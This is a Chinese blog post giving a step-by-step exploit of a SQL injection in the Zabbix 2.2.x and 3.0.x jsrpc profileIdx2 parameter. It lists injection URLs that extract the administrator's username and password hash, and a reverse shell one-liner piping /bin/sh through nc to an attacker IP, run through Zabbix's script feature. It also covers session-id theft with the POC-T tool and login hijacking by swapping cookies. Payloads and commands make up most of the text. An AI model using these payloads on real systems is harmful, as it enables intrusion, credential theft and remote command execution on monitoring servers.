• Zabbix 2.2系列注入+getsehll


    Zabbix 是一个开源的企业级性能监控解决方案。

    官方网站:http://www.zabbix.com

    Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统,也可通过script等功能易直接获取Zabbix服务器的操作系统权限。

    1.1. 漏洞利用条件

    Zabbix 开启了guest权限。而在Zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

    1.2. 影响版本

    Zabbix 2.2.x, 3.0.0-3.0.3

    通过浏览器直接访问Zabbix

    0x01 注入

    测试注入,可以发现页面将会报错,并出现如下信息

    jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

    通过这个现象,即可得知漏洞存在。

    利用这个漏洞,我们可以进行错误型sql注射,即可获取管理员的信息。

    通过构造payload,获取用户名和密码信息

    jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

    这个漏洞的问题参数在于profileIdx2,因此payload写在此处。

    利用这个payload,可以成功获取到管理员的用户名和密码信息

    Admin~5fce1b3e34b520afeffb37ce08c7cd66~~1

    通过md5解密,即可成功获得密码

    到此为止,已经成功获取到了用户名和密码:Admin/zabbix

    登录后台

    0x02 后台getshell

     进入web页面后,前往脚本页面利用zabbix自带的命令行实现反弹shell

     创建如下的一个脚本

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh   -i 2>&1|nc 攻击机ip地址   1234 >/tmp/f

    点击存档以后,在攻击机中开启一个接收shell端

    nc -lvp 1234

    在zabbix页面中,重新返回到首页。在下述位置点击执行脚本

     执行成功以后,前往攻击机查看是否接收到shell

    方法2

    第一种方法属于直接获取管理员的密码信息进行登陆,但是有时候密码设置的很复杂,没办法破解的时候,可以采用方法2。

    这个方法是通过sql注入漏洞获取Zabbix登陆用的sessionid,通过修改sessionid从而无需用户名密码即可直接登陆。

    这里需要用到一个脚本

    脚本地址:

    https://github.com/Xyntax/POC-T

    将这款工具在攻击机中安装成功,然后执行下面的命令

    python POC-T.py -s zabbix-jsrpc-mysql-exp   -iS http://zabbix服务器的ip地址/zabbix/php

    可以看到,直接即可获取到密码信息和sessionid

    password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66',   'Session_id:45e0bac4f0b73bb41706a70adec8a097')

    接下来,我们使用burp进行抓包,修改sessionid直接登陆。

    将cookie中的zbx_sessionid修改为我们找到的sessionid。

    点击forward

    接下来,我们可以看到,成功的进入后台中

      

  • 相关阅读:
    2014复习提纲
    string库与char[]
    扩展欧几里得算法及其应用
    1002 [FJOI2007]轮状病毒
    node源码详解(三)—— js代码在node中的位置,process、require、module、exports的由来
    node源码详解(二 )—— 运行机制 、整体流程
    node源码详解 (一)
    html 第一天随记(个人不常用的标签)
    Siebel电信业务流程
    Siebel层次架构
  • 原文地址:https://www.cnblogs.com/-qing-/p/10978795.html
Copyright © 2020-2023  润新知